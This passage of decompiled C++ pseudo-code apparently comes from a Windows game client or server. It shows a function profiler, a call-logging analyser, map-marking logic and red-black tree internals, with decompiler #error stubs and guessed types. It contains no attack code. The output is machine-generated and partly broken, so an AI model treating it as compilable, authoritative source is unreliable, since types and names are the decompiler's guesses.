v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; FieldMap::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00448B10) -------------------------------------------------------- #error "448B10: undefined or illegal type '#585' (funcsize=80)" //----- (00448C10) -------------------------------------------------------- #error "448C10: undefined or illegal type '#585' (funcsize=87)" //----- (00448D30) -------------------------------------------------------- #error "448D30: undefined or illegal type '#585' (funcsize=70)" //----- (00448E80) -------------------------------------------------------- #error "448E80: undefined or illegal type 'ListArray' (funcsize=87)" //----- (00448FB0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord(void *this) { void *v1; // esi@1 int v2; // eax@1 unsigned int v3; // ecx@1 char *v4; // ecx@1 unsigned int v5; // eax@1 MapInfo *v6; // eax@4 signed int result; // eax@5 int v8; // eax@6 int v9; // esi@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1192))(v1); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)v2; *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 8); v4[12] = 0; v5 = BTree::operator__(&mapdatabox.mdb_btree, v4); if ( v5 == -1 ) LOWORD(v5) = -1; v5 = (unsigned __int16)v5; if ( (unsigned __int16)v5 < mapdatabox.mdb_maxmapid && (v6 = mapdatabox.mdb_index[v5]) != 0 ) { **(_DWORD **)((char *)v1 + 78) = v6->RegenX; *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4) = v6->RegenY; v8 = ShineObjectClass::ShineObject::so_MapMarking(v1, 0); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); result = v9; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); result = 1; } return result; } // 448D30: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); //----- (00449100) -------------------------------------------------------- void __thiscall FunctionProfiler::FunctionPerformance::fp_Clear(FunctionProfiler::FunctionPerformance *this) { this->fp_AccumulateCount = 0i64; this->fp_EntryCount = 0i64; this->fp_ExecuteNumber = 0i64; } //----- (00449120) -------------------------------------------------------- void __thiscall FunctionProfiler::FunctionPerformance::fp_Report(FunctionProfiler::FunctionPerformance *this) { fprintf(FunctionProfiler::FunctionPerformance::fp_ProfileFile, "%s\t%I64u\t%f\t%f\n"); } //----- (00449200) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(FunctionProfiler::PerformanceRecorder *this) { __int16 v1; // ax@1 v1 = this->pr_CheckLoopCount_Command; if ( v1 > 0 ) { this->pr_CheckLoopCount_Real = v1; this->pr_CheckLoopCount_Command = -1; } } //----- (00449220) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::FunctionCallingAnalyzer(FunctionCallingAnalyzer *this) { this->fca_Pointer.mask = 63; this->fca_Pointer.value = 0; memset(this->fca_stack, 0, sizeof(this->fca_stack)); } //----- (00449250) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::fca_NetCommandStorage(FunctionCallingAnalyzer *this, NETCOMMAND *nc) { unsigned int v2; // eax@1 this->fca_NetCommand[this->fca_Pointer.value].protocol = nc->protocol; v2 = this->fca_Pointer.mask & (this->fca_Pointer.value + 1); this->fca_Pointer.value = v2; this->fca_NetCommand[v2].protocol = 0; } //----- (00449280) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::fca_printf(FunctionCallingAnalyzer *this, char *filename) { FunctionCallingAnalyzer *v2; // ebp@1 _iobuf *v3; // ebx@1 int v4; // esi@1 signed int v5; // edi@1 signed int v6; // edi@3 int v7; // esi@3 int timevar; // [sp+10h] [bp-48h]@1 char filenamebuffer[64]; // [sp+14h] [bp-44h]@1 v2 = this; mysecond(&timevar); localtime(&timevar); sprintf(filenamebuffer, "%s%04d%02d%02d%02d.txt"); v3 = fopen(filenamebuffer, "w"); fprintf(v3, "%s\n"); v4 = (int)v2->fca_NetCommand; v5 = 64; do { fprintf(v3, "%d/%d\n"); v4 += 2; --v5; } while ( v5 ); v6 = 127; v7 = (int)&v2->fca_stack[127]; do { if ( *(_DWORD *)v7 ) fprintf(v3, "%c %s[%u]\n"); --v6; v7 -= 4; } while ( v6 >= 0 ); fclose(v3); } //----- (00449390) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (004493B0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00449410) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x38u); if ( result ) { result->_Left = _Larg; result->_Right = _Rarg; result->_Parent = _Parg; memcpy(&result->_Myval, _Val, sizeof(result->_Myval)); result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00449460) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x38u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (004494A0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (004494E0) -------------------------------------------------------- std::mem_fun_ref_t *__cdecl std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last, std::mem_fun_ref_t _Func) { std::_Tree,std::allocator,0> >::iterator v4; // eax@1 std::_Tree,std::allocator,0> >::iterator v5; // edi@1 std::mem_fun_ref_t v6; // esi@2 std::mem_fun_ref_t *v7; // eax@4 v4 = _First; v5 = _Last; if ( _First == _Last ) { v7 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } else { v6 = _Func; do { (*(void (__thiscall **)(_DWORD))&v6)(*(_DWORD *)&v4 + 16); std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_First.baseclass_0); v4 = _First; } while ( _First != v5 ); v7 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v6; } return v7; } //----- (00449520) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Report(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 _iobuf *v2; // eax@1 std::mem_fun_ref_t result; // [sp+0h] [bp-4h]@1 result = (std::mem_fun_ref_t)this; v1 = this; v2 = fopen("FunctionPerformance.txt", "w"); FunctionProfiler::FunctionPerformance::fp_ProfileFile = v2; if ( v2 ) { fprintf(v2, "Function\tExec Number\tTotal Second\tSecond/exec\n"); std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>( &result, (std::_Tree,std::allocator,0> >::iterator)v1->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)v1->pr_Array.baseclass_0._Myhead, (std::mem_fun_ref_t)FunctionProfiler::FunctionPerformance::fp_Report); fclose(FunctionProfiler::FunctionPerformance::fp_ProfileFile); FunctionProfiler::FunctionPerformance::fp_ProfileFile = 0; } } //----- (00449580) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_SetCount(FunctionProfiler::PerformanceRecorder *this, int cnt) { this->pr_CheckLoopCount_Command = cnt; std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>( (std::mem_fun_ref_t *)&cnt, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead, (std::mem_fun_ref_t)FunctionProfiler::FunctionPerformance::fp_Clear); } //----- (004495B0) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 __int16 v2; // ax@1 v1 = this; v2 = this->pr_CheckLoopCount_Real; if ( v2 >= 0 ) { if ( !v2 ) FunctionProfiler::PerformanceRecorder::pr_Report(this); --v1->pr_CheckLoopCount_Real; } } //----- (004495D0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, FunctionProfiler::FunctionPerformance *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.fp_FunctionName >= _Keyval->fp_FunctionName ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->fp_FunctionName < v3->_Myval.fp_FunctionName ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00449640) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Exit(FunctionProfiler::PerformanceRecorder *this, char *funcname) { FunctionProfiler::PerformanceRecorder *v2; // edi@1 char *v3; // esi@2 __int64 exitcount; // [sp+4h] [bp-28h]@3 FunctionProfiler::FunctionPerformance key; // [sp+Ch] [bp-20h]@2 v2 = this; if ( this->pr_CheckLoopCount_Real > 0 ) { key.fp_FunctionName = funcname; std::_Tree_std::allocator_0>>::find( &this->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, &key); v3 = funcname; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)funcname != v2->pr_Array.baseclass_0._Myhead ) { QueryPerformanceCounter((LARGE_INTEGER *)&exitcount); *((_QWORD *)v3 + 4) += exitcount - *((_QWORD *)v3 + 3); } } } //----- (004496B0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, FunctionProfiler::FunctionPerformance *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)&wholesaver.ws_savestore[1588].esc_skill.buffer[3202] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 48) = 1; *(_BYTE *)(v14 + 48) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 48) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00449860) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 49) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 49) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 49) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 48); *(_BYTE *)(*(_DWORD *)&v6 + 48) = *(_BYTE *)(*(_DWORD *)&v4 + 48); *(_BYTE *)(*(_DWORD *)&v4 + 48) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 48) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 48) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 48) ) { *(_BYTE *)(v15 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 48) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 48) = 1; *(_BYTE *)(v15 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 48) ) { *(_BYTE *)(v15 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) = 1; *(_BYTE *)(v15 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)v15 + 48) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 48) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 48) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00449B20) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, FunctionProfiler::FunctionPerformance *_Val) { FunctionProfiler::FunctionPerformance *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 char *v8; // edx@2 FunctionProfiler::FunctionPerformance *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->fp_FunctionName; do { v7 = v8 < v6->_Myval.fp_FunctionName; v5 = v6; _Addleft = v8 < v6->_Myval.fp_FunctionName; if ( v8 >= v6->_Myval.fp_FunctionName ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (FunctionProfiler::FunctionPerformance *)v5; _Val = (FunctionProfiler::FunctionPerformance *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( (char *)LODWORD(v9[1].fp_EntryCount) >= v3->fp_FunctionName ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00449BE0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 49) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 49); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE 